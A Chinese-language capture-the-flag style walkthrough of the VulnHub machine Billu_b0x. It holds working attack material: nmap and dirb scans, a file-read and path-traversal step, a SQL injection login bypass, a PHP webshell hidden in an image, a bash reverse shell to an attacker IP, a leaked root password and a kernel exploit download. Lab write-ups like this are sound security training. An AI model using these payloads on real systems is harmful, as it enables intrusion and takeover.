靶机来源vulnhub—Billu_b0x
内容:
任意文件读取
sql注入
文件包含
文件上传—写入一句话木马
构建反弹shell
提权一.内核提权
提权二.密码泄露提权
信息搜集
nmap主机发现,端口扫描(TCP和UDP),服务扫描,脚本扫描
nmap -sn -oA nmap/host 10.10.10.0/24
nmap -p- –min-rate 10000 -oA nmap/port 10.10.10.111
nmap -p22,80 -sT -sV -sC -O -oA nmap/TCP_server 10.10.10.111
nmap -p- -sU –min-rate 10000 -oA nmap/UDP 10.10.10.111
nmap -p22,80 –script=vuln -oA nmap/vuln 10.10.10.111
这些是一些用于网络扫描和渗透测试的Nmap命令的示例。以下是每个命令的简要解释:
nmap -sn -oA nmap/host 10.10.10.0/24
-sn
: 禁用端口扫描,只进行主机发现。-oA nmap/host
: 将输出保存到文件中,文件名为nmap/host
.10.10.10.0/24
: 扫描指定的IP地址范围。
nmap -p- --min-rate 10000 -oA nmap/port 10.10.10.111
-p-
: 扫描所有端口。--min-rate 10000
: 设置发送速率为10000个数据包/秒。-oA nmap/port
: 将输出保存到文件中,文件名为nmap/port
.10.10.10.111
: 目标主机的IP地址。
nmap -p22,80 -sT -sV -sC -O -oA nmap/TCP_server 10.10.10.111
-p22,80
: 扫描指定端口22和80。-sT
: 使用TCP连接扫描。-sV
: 探测服务版本信息。-sC
: 使用默认脚本。-O
: 探测操作系统信息。-oA nmap/TCP_server
: 将输出保存到文件中,文件名为nmap/TCP_server
.10.10.10.111
: 目标主机的IP地址。
nmap -p- -sU --min-rate 10000 -oA nmap/UDP 10.10.10.111
-p-
: 扫描所有UDP端口。-sU
: 使用UDP扫描。--min-rate 10000
: 设置发送速率为10000个数据包/秒。-oA nmap/UDP
: 将输出保存到文件中,文件名为nmap/UDP
.10.10.10.111
: 目标主机的IP地址。
nmap -p22,80 --script=vuln -oA nmap/vuln 10.10.10.111
-p22,80
: 扫描指定端口22和80。--script=vuln
: 运行漏洞脚本来探测可能存在的漏洞。-oA nmap/vuln
: 将输出保存到文件中,文件名为nmap/vuln
.10.10.10.111
: 目标主机的IP地址。
请注意,这些命令用于网络扫描和渗透测试,应该在授权的环境中使用,以避免违反法律。
默认脚本扫描是进行什么探测
Nmap的默认脚本扫描(-sC
选项)会运行一系列常见的脚本,用于执行各种探测和安全检查。这些脚本包含在Nmap的脚本库中,可以帮助发现主机和服务的各种安全问题和漏洞。一些常见的探测包括:
- 服务版本检测:识别正在运行的服务及其版本号,有助于确定是否存在已知的漏洞。
- 常见漏洞检测:检测目标主机上是否存在已知的常见漏洞,如弱密码、未经身份验证的服务等。
- 默认凭据检查:尝试使用默认凭据对服务进行身份验证,以检查是否存在弱密码或默认凭据问题。
- 常见端口检测:识别常用端口上运行的服务,以及这些服务可能存在的安全风险。
- 反射放大攻击检测:检测目标主机上是否存在可以用于反射放大攻击的服务。
- 安全配置检查:检查目标主机上服务的安全配置,例如是否启用了加密、是否存在明显的安全漏洞等。
这些默认脚本旨在帮助安全专业人员识别潜在的安全问题和漏洞,以加强网络安全。在进行渗透测试或安全审计时,运行默认脚本扫描可以提供有关目标系统安全性的重要信息。
vuln类脚本扫描
--script=vuln
是 Nmap 工具中的一个选项,用于指定在扫描过程中使用与漏洞相关的脚本。具体来说,--script=vuln
选项会启用 Nmap 中的一系列专门设计用于探测目标主机上已知漏洞的脚本。这些脚本会检查目标主机的服务和应用程序,以确定是否存在已知的漏洞,从而帮助安全专家评估目标系统的安全性。
通过如上nmap扫描发现,这台靶机是Ubuntu系统,Linux内核,开放端口22,80 webserver是apache2.2.22,存在dos漏洞,枚举出test.php文件,可能是测试文件还有/images/文件夹
接下来开启目录爆破的同时,浏览下web页面和之前nmap探测出的页面
目录爆破
dirb http://10.10.10.111/ -o dirb.txt
依次浏览下爆破出来的目录,在熟悉网站结构的同时,寻找可能存在的利用点,如下是浏览出来觉得可以利用的几个页面
1.add可以上传文件可能存在任意文件上传漏洞,而且存在images文件夹,可能上传的文件就是到这里
2.phpinfo文件通过查询可以看到php的配置信息,可以结合之后的各个利用点,交叉验证是否存在不安全配置
3.index首页让我展示我的sql注入技巧,说明这里大概率是存在sql注入漏洞的,但也不排除兔子洞的可能
4.提示缺少参数file,可以填入参数看看
对于上述几个可以尝试的点做一些可以尝试的利用点:
1.对于首页试了下正常情况下的几种闭合方式后发现没有任何反应[‘,”,’),”)],先把优先级排后毕竟不太容易利用
2.文件上传后没有显示文件上传后的路径,也没有显示是否上传成功,而且访问/images/也没有发现新增的文件
任意文件读取
在给file以GET方式加入file参数后发现仍然提示缺少file参数,尝试POST方式提交随便填写一个参数后,发现内容发生变化,提示文件未找到
通过之前的目录爆破知道后端是php,尝试test.php读取当前文件发现可以得到该文件的源码
这里用curl之间读取源码,发现并没有对用户输入过滤,说明如果php是默认配置存在可能目录穿越
并尝试目录穿越,发现可以读取到/etc/passwd
SQL注入
这样我们直接用来读取前面sql注入index.php页面的,找到了关键的查询语句
$_POST['un']
和$_POST['ps']
:这两行代码从 POST 请求中获取名为 ‘un’ 和 ‘ps’ 的参数,分别用于用户名和密码。urldecode()
函数:这个函数用于对 URL 编码过的字符串进行解码,将特殊字符转换回原始字符。str_replace('\'','', $string)
:这两行代码用于移除字符串中的单引号字符。这可能是为了防止 SQL 注入攻击,但这种简单的处理并不足以完全防范 SQL 注入。'select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\''
:这行代码构建了一个 SQL 查询语句,从名为 ‘auth’ 的表中选择符合给定用户名和密码的记录。然而,这种直接拼接用户输入到 SQL 查询语句中的做法存在严重的安全风险,容易受到 SQL 注入攻击。
这里绕过很简单,既然替换了 ‘ 要么用编码绕过,要么在语句结尾加个\将后一个单引号转义了
这里用uname:”or 1=1 #”passwd:”/”也可以
后端查询语句如下:
‘select * from auth where pass=\’‘.$pass.‘\’ and uname=\’‘.$uname.‘\’‘
去掉表示字符串的单引号去掉后:
select * from auth where pass=\’.$pass.\’ and uname=\’.$uname.\’
sql数据库得到的语句:
select * from auth where pass=’.$pass.’ and uname=’.$uname.’
填入$pass和$uname后:
select * from auth where pass=’\‘ and uname=’or 1=1 —‘
这里可以看到填入的斜杠把后面的斜杠转义了,就多出来了一个单引号,而且”– “在sql中又表示注释将最后一个单引号注释掉(注释也可以用#表示)
最后sql语句就被划分成了
select * from auth where pass=’\‘ and uname=‘和or 1=1 和—‘
这段代码是一个简单的 SQL 查询语句,具体含义如下:select * from auth where pass='' or 1=1;
这条 SQL 查询语句的意思是从名为 ‘auth’ 的表中选择所有记录,其中密码字段为空字符串或者条件 1=1 成立。条件 1=1 总是成立,因此这个查询将返回 ‘auth’ 表中的所有记录,而不考虑密码字段的值。
sql数据库以为的查询意思就是
查询auth中所有记录,其中密码等于 (‘and uname=)的或者条件 1=1 成立,而且后端php中又写了如果查询结果大于0则成功登录
输入上述密码后成功跳转panel.php页面
浏览后发现选择选项时出现了之前探测出的add类似的文件上传点,很可能是panel.php包含了add.php文件,调用了add.php的函数,通过读取源码看看
发现确实是可控的
这段代码是一个简单的 PHP 代码片段,根据用户在表单中选择的选项来包含不同的 PHP 文件。让我们逐步分析这段代码的功能:
if(isset($_POST['continue']))
:这行代码检查是否存在名为 ‘continue’ 的 POST 参数,以确定是否执行后续的操作。$dir=getcwd();
:获取当前工作目录的路径。$choice=str_replace('./','',$_POST['load']);
:这行代码从 POST 请求中获取名为 ‘load’ 的参数,并移除字符串中的 ‘./’。这可能是为了防止用户输入中包含相对路径。- 根据用户选择的选项执行不同的操作:
- 如果
$choice
的值等于 ‘add’,则包含当前工作目录下的 ‘add.php’ 文件,并终止脚本执行。 - 如果
$choice
的值等于 ‘show’,则包含当前工作目录下的 ‘show.php’ 文件,并终止脚本执行。 - 如果
$choice
的值既不是 ‘add’ 也不是 ‘show’,则包含用户在表单中选择的文件,并继续脚本执行。
- 如果
潜在安全问题:
- 文件包含漏洞:如果用户可以控制 ‘load’ 参数并输入恶意文件路径,可能会导致文件包含漏洞,允许攻击者包含恶意代码文件。
- 相对路径问题:移除 ‘./’ 可能不足以完全防止路径遍历攻击,应该考虑使用绝对路径或其他安全措施来确保包含的文件路径是安全的。
前面上传不成功,可以在这里添加用户看看,会发生什么。
上传成功,而且查看图片链接知道上传的图片没有存在/images/中而是在/uploaded_images/下
任意文件上传和任意文件包含
到这里思路就很清晰了,既然可以上传图片,而且推测panel.php包含了add.php,就自然想到了写入一个webshell到图片中,包含上传的木马即可获得靶机控制权
构造webshell
将<?php system($_GET[‘cmd’]);?>写入随便一张图片中,上传上去后用bp抓包该变参数load到图片位置包含木马即可执行任意命令
执行反弹shell
nc建立监听nc -lvnp 2222
将反弹shell:/bin/bash -c ‘bash -i >& /dev/tcp/10.10.10.128/443 0>&1’进行url编码,不编码时空格会把bash语句分成多个,会导致传到靶机bash脚本不完整
成功执行,拿到shell
权限提升思路一:信息泄露
直接找既然用到数据库web站点的配置文件
发现又phpmyadmin的配置文件夹phpmy,通过搜索知道phpmyadmin的配置文件是config.inc.php
读取发现用的root登录密码是roottoor,可以直接尝试ssh登录root,直接拿到root用户控制权了
权限提升思路二:内核漏洞提权
uname -a发现内核版本较低
可以通过searchsploit查看各内核版本漏洞,根据自身理解决定多少算低,多少版本可能有漏洞
这里直接查看当前版本是否存在漏洞
发现存在漏洞,有两个是本地提权漏洞,一个需要/etc/shadow,直接下37292
searchsploit 3.13.0 -m 37292
直接查看脚本,看看如何利用,之后本地部署临时webserver,下载到靶机上,编译执行,执行成功就可获得root权限,如果编译失败,校验脚本完整性,可能是靶机下载没完全,再次尝试下载即可
部署临时webserver
可以用 php -S 0:80或者python -m http.server -p 80
本地编译执行,如何编写查看源代码